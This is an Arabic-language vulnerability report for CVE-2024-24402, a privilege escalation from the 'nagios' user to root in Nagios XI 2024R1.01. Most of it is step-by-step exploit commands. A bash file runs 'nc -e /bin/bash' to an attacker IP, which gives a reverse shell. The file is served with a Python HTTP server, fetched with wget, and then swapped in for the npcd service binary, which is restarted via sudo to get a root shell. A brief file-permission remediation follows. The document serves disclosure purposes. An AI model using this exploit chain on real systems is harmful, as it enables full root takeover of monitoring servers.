تقرير الثغرة

تم اكتشاف CVE بواسطة: Jarod Jaslow (MAWK)

تفاصيل الثغرة:

• النقطة النهائية: Nagios XI الإصدار 2024R1.01
• نوع الثغرة: تصعيد الصلاحيات من مستخدم "NAGIOS"
• نتيجة الاستغلال: وصول كامل لجذر النظام

خطوات إعادة الإنتاج:

1. إنشاء نسخة جديدة من Nagios XI الإصدار 2024R1.01:

• قم بتنزيل ملف OVA الخاص بـ Nagios XI من: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
• قم بنشر ملف OVA لإنشاء نسخة جديدة.
• باستخدام تقريري السابق، احصل على تنفيذ الأوامر عن بعد (RCE) على الخادم.

2. إساءة استخدام تصعيد الصلاحيات:

• كمستخدم "NAGIOS"، قم بإنشاء ملف على جهاز المهاجم بالمحتوى التالي:

  root@kitploit:~

  #!/bin/bash
  nc -e /bin/bash <عنوان IP للمهاجم> 4445
  

• قم باستضافة الملف على جهاز المهاجم عبر خادم HTTP بلغة Python:

  root@kitploit:~

  python3 -m http.server 8000
  

• ابدأ خادم استماع Netcat (NC) على جهاز المهاجم:

  root@kitploit:~

  nc -nlvp 4445
  

3. تنفيذ الاستغلال على الجهاز الضحية:

• قم بجلب الملف من جهاز المهاجم:

  root@kitploit:~

  wget http://<عنوان IP للمهاجم>:8000/npcd
  

• قم بتنفيذ الأوامر التالية لتصعيد الصلاحيات واستقبال اتصال كمستخدم root:

  root@kitploit:~

  sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
  cp npcd /usr/local/nagios/bin/npcd
  sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
  

التوصية:

يوصى بتقييد قدرة المستخدم "NAGIOS" على الكتابة إلى ملفات تنفيذ خدمات Nagios التي تعمل كمستخدم root. يمكن تحقيق ذلك من خلال تطبيق أذونات ملفات أكثر صرامة وضوابط وصول للدلائل والملفات ذات الصلة بخدمات Nagios.

ينبغي إصلاح هذه المشكلة في الإصدارات الجديدة

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402